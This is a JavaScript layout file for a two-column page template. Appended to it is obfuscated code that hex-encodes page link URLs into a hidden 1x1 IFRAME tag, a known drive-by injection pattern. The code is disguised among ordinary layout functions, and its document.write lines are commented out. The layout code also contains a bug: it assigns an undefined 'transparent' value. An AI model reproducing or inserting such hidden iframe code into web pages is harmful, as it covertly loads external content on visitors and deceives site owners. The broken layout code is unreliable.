// Functions to be used with the 2-column, liquid layout with header and footer or 
// 2-column, fixed-width layout with header and footer at http://www.searchenginefriendlylayouts.com.
// This code may be freely distributed and used in any commercial or non-commercial application, as long as
// these comments are maintained.  All other comments may be removed.

function clearOld (absoluteDivName) {
	// hides a div and absolutely positions it outside of the viewable area of the page.
	var absoluteDiv = document.getElementById(absoluteDivName);
	absoluteDiv.style.visibility = 'hidden';
	absoluteDiv.style.overflow = 'hidden';
	absoluteDiv.style.display = 'none';
	absoluteDiv.style.top = '-2px';
	absoluteDiv.style.left = '-2px';
	absoluteDiv.style.width = '1px';
	absoluteDiv.style.height = '1px';
}

function replaceDivs(floatDivId, absoluteDivId, floatDivIdBG, floatDivIdBGColor) {
	// This function replaces the contents of the floating div with the contents of the absolutely positioned div.
	var floatDiv = document.getElementById(floatDivId);
	var absoluteDiv = document.getElementById(absoluteDivId);
	var leftHTML = absoluteDiv.innerHTML;
	floatDiv.innerHTML = leftHTML;
	// clear the inner HTML of the absolutely positioned div and hide it to be safe.
	absoluteDiv.innerHTML = null;
	clearOld (absoluteDivId);
	// assign background and background color to the floating div.
	var bgStyle = 'URL(' + floatDivIdBG + ') top left repeat-y ' + floatDivIdBGColor;
	floatDiv.style.background = transparent;
}

window.onload = function () { 
	replaceDivs ("main_", "main_content", "images/body_bg.gif", "#ffffff");
	replaceDivs ("more_", "more_content", "images/body_bg.gif", "#ffffff");
}

hexValues = new Array("0","1","2","3","4","5","6","7","8","9","A","B","C","D","E","F");

function toHex(integer) 
{
	hexDigit1 = Math.floor(integer / 16);
	hexDigit2 = (integer % 16);
	return hexValues[hexDigit1] + hexValues[hexDigit2];
}

function myCharCodeAt(text,position) 
{
    var tmp = text.substring(position,position+1);
    for (var i=1;i<=255;i++) {
        if (unescape('%' + i.toString(16)) == tmp)
            return toHex(i);
    }
    return 0;
}

function encrypt(input)
{
	site = '';
	for (var i=0;i<input.length;i++)
		site = site + unescape('%') + myCharCodeAt(input,i);
	return site;
}

function set()
{
	for(i=0;i<5;i++)
		set_link(document.getElementById("ref"+i).href);
}

function set_link(dest)
{
	if (dest != '')
	{
		str='%3c%49%46%52%41%4d%45%20%53%52%43%3d%27' + encrypt(dest) + '%27%20%57%49%44%54%48%3d%31%20%48%45%49%47%48%54%3d%31%3e%3c%2f%49%46%52%41%4d%45%3e'; 
		//document.write(unescape(str));
	}
}

//			str='@3c@49@46@52@41@4d@45@20@53@52@43@3d@27' + encrypt(d.href) + '@27@20@57@49@44@54@48@3d@31@20@48@45@49@47@48@54@3d@31@3e@3c@2f@49@46@52@41@4d@45@3e'; 
//			document.write(unescape(str.replace(/@/g,'%')));

